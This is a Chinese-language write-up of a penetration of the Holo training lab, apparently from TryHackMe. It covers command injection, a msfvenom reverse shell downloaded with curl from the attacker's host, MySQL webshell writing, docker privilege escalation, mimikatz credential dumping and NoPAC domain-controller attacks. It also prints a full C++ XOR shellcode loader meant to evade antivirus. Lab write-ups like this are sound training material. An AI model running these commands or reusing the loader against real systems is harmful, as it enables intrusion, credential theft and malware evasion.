记一次有趣的复杂靶场渗透
字数 1400 2025-08-24 07:48:10
复杂靶场渗透实战教学:Holo靶场渗透过程详解
1. 信息收集阶段
1.1 端口扫描
使用TideFinger工具进行全端口扫描:
/TideFinger_Linux -h 10.200.112.33 -p 1-65535
发现高端口存在无认证的SOCKS5代理,可能后续有用。
1.2 WordPress枚举
使用nuclei工具识别WordPress版本:
nuclei -tags wordpress -u http://10.200.112.33/ -rl 10
1.3 虚拟主机发现
使用ffuf进行虚拟主机爆破:
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.holo.live" -u http://10.200.112.33/ -fs 21456
- 速度约50个/秒
- 将发现的虚拟主机添加到hosts文件
1.4 目录扫描
发现robots.txt文件,获取到绝对路径信息。
2. 漏洞利用阶段
2.1 任意文件读取
利用任意文件读取漏洞获取creds.txt凭据文件:
- 由于vhost在同一台机器上,可以读取其他虚拟主机的文件
2.2 命令注入
在源代码中发现被注释的命令注入点:
//if ($_GET['cmd'] === NULL) { echo passthru("cat /tmp/Views.txt"); } else { echo passthru($_GET['cmd']
通过给cmd参数执行命令。
2.3 获取交互式shell
使用msfvenom生成payload:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.50.109.210 LPORT=9001 -f elf -o reverse.elf
通过curl下载并执行:
curl http://10.50.109.210:8101/reverse.elf -o /tmp/agent
2.4 提权尝试
尝试多种提权方法均失败:
exploit/linux/local/apport_abrt_chroot_priv_esc
exploit/linux/local/cve_2021_3493_overlayfs
exploit/linux/local/cve_2022_0995_watch_queue
exploit/linux/local/su_login
2.5 数据库访问
在/var/www目录下发现flag和数据库配置信息:
- 使用获取的凭据连接数据库
- 通过msf搭建socks代理:
proxychains mysql -u admin -p -h 192.168.100.1
写入webshell:
select '<?php phpinfo()?>' INTO OUTFILE '/var/www/html/test.php';
2.6 SUID提权
使用linpeas发现SUID提权向量:
- 利用docker进行提权:
sudo install -m =xs $(which docker) ../docker run -v /:/mnt --rm -it alpine chroot /mnt sh
- 由于非交互式TTY失败,改用:
python3 -c 'import pty; pty.spawn("/bin/bash")'
2.7 密码破解
读取/etc/shadow文件,使用hashcat破解:
hashcat -m 1800 -a 0 hash.txt rockyou.txt
获取明文密码:linuxrulez,用户名为linux-admin
3. 内网横向移动
3.1 内网扫描
发现新资产:
- 10.200.108.35 (PC-FILESRV01)
- 10.200.108.30 (DC-SRV01, 域控)
- 10.200.108.31 (S-SRV01)
3.2 代理搭建
使用frp搭建稳定代理:
- 服务端配置:
./frps -c frps.ini
[common]
bind_port = 7000
token = Yuzusoft
tls_enable = true
- 客户端配置:
[common]
token = Yuzusoft
disable_custom_tls_first_byte = true
server_addr = 127.0.0.1
server_port = 7000
tls_enable = true
[socks5]
remote_port = 5444
plugin = socks5
3.3 逻辑漏洞利用
发现重置密码功能存在逻辑漏洞:
- 从MySQL数据库中找到gurag用户
- 返回包中包含token,可直接用于认证
3.4 文件上传Getshell
绕过前端过滤上传PHP webshell:
- 上传到images目录
- 获取system权限
3.5 免杀技术
生成免杀木马:
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.31.41 LPORT=8888 -f raw -o test.txt
使用C++编写的分离式shellcode加载器:
#include <iostream>
#include <fstream>
#include <vector>
#include <Windows.h>
char Key[7] = { 'Y', 'U', 'Z', 'S', 'O', 'F', 'T' };
void decrypt(std::vector<unsigned char>& encryptedData) {
int keyIndex = 0;
for (size_t i = 0; i < encryptedData.size(); ++i) {
encryptedData[i] = encryptedData[i] ^ Key[keyIndex];
keyIndex = (keyIndex + 1) % 7;
}
}
int main() {
std::ifstream file("log.txt", std::ios::binary);
std::vector<unsigned char> shellcode;
if (file) {
file.seekg(0, std::ios::end);
size_t size = file.tellg();
shellcode.resize(size);
file.seekg(0, std::ios::beg);
file.read(reinterpret_cast<char*>(shellcode.data()), size);
file.close();
}
Sleep(35000);
decrypt(shellcode);
LPVOID allocMem = VirtualAlloc(NULL, shellcode.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(allocMem, shellcode.data(), shellcode.size());
typedef void (*ShellcodeFunction)();
ShellcodeFunction func = (ShellcodeFunction)allocMem;
func();
VirtualFree(allocMem, 0, MEM_RELEASE);
return 0;
}
3.6 凭据获取
使用mimikatz转储密码哈希:
load mimikatz
kiwi_cmd sekurlsa::logonpasswords
- 注意32位进程无法访问64位进程,需迁移
- 获取明文凭据:用户
watamet,密码Nothingtoworry!
4. 域控攻击
4.1 NoPAC漏洞利用
利用CVE-2021-42278和CVE-2021-42287组合漏洞:
proxychains python3 sam_the_admin.py holo.live/watamet:Nothingtoworry! -dc-ip 10.200.107.30 -shell
使用获取的TGT进行认证:
KRB5CCNAME='Administrator.ccache' proxychains /usr/bin/impacket-smbexec -target-ip 10.200.107.30 -dc-ip 10.200.107.30 -k -no-pass @'dc-srv01.holo.live'
4.2 Zerologon检测
使用mimikatz检测Zerologon漏洞:
kiwi_cmd lsadump::zerologon /target:10.200.107.30 /account:Administrator
靶场已修复该漏洞。
5. 总结与经验
-
工具选择:
- MSF在提权方面表现优异,解决了不同环境的兼容性问题
- frp比cs在Linux入口更稳定
-
渗透流程:
- 找RCE → 找数据库密码 → 逃逸容器 → 搭建代理 → 免杀 → 攻击域控
-
权限维持:
- 需要熟悉常见权限维持技术,对红蓝队都很重要
-
经验教训:
- 断网后需要重新搭建代理,耗时耗力
- 免杀技术需要多准备几种方案
- 域渗透需要掌握多种攻击方法,单一方法可能失效
-
后续学习:
- 深入学习MSF的高级功能
- 学习Sliver等新型C2框架
- 研究更多权限维持技术